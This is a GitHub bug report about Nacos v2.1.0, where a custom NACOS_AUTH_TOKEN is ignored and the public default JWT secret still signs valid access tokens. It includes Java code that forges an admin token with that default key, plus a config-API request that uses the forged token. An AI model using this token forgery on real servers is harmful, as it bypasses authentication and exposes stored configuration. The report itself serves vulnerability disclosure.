【v2.1.0】access_token访问漏洞 #9830
Description
Describe the bug
A clear and concise description of what the bug is.
nacos.io/zh-cn/docs/auth.html 按照官网；docker启动进行了如下配置 NACOS_AUTH_ENABLE=true NACOS_AUTH_TOKEN=字符串
NACOS_AUTH_TOKEN并没有生效；还是继续用 默认的secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
使用jwt加密生成access_token，猜可以访问api接口
用自定义的NACOS_AUTH_TOKEN=字符串 生成的access_token访问不了
Expected behavior
A clear and concise description of what you expected to happen.
使用自定义的NACOS_AUTH_TOKEN；生成access_token能够访问api接口
Actually behavior
A clear and concise description of what you actually to happen.
还是需要使用 默认的secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789；生成access_token能够访问api接口
How to Reproduce
Steps to reproduce the behavior:
shell docker run --env PREFER_HOST_MODE=hostname --env MODE=standalone --env NACOS_AUTH_ENABLE=true --env NACOS_AUTH_TOKEN=SecretKey:e472c13e-a568-47cd-bb49-c15e253f62e9 -p 8848:8848 nacos/nacos-server:v2.1.0
Desktop (please complete the following information):
- OS: [e.g. Centos]：centos
- Version [e.g. nacos-server 1.3.1, nacos-client 1.3.1]：v2.1.0
- Module [e.g. naming/config]
- SDK [e.g. original, spring-cloud-alibaba-nacos, dubbo]
Additional context
Add any other context about the problem here.
public static String createToken(String userName) throws IOException {
long now = System.currentTimeMillis();
Date validity;
validity = new Date(now + 18000 * 1000L);
String raw_key = "SecretKey012345678901234567890123456789012345678901234567890123456789";
String raw_key222 = "SecretKey:e472c13e-a568-47cd-bb49-c15e253f62e9";
byte[] key_byte = new BASE64Decoder().decodeBuffer(raw_key);
Claims claims = Jwts.claims().setSubject(userName);
return Jwts.builder().setClaims(claims).setExpiration(validity)
.signWith(Keys.hmacShaKeyFor(key_byte), SignatureAlgorithm.HS256).compact();
public static void main(String[] args) throws IOException {
String token = createToken("nacos");
System.out.println(token);
}
}
`
使用生成的access_token访问
http://10.132.9.106:8848/nacos/v1/cs/configs?pageNo=1&pageSize=10&search=accurate&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3MzM0MzA3OX0.7VB3vDekfKEItOMf-0CuMxpvGr43u15KyfwOgIKi1yg&username=nacos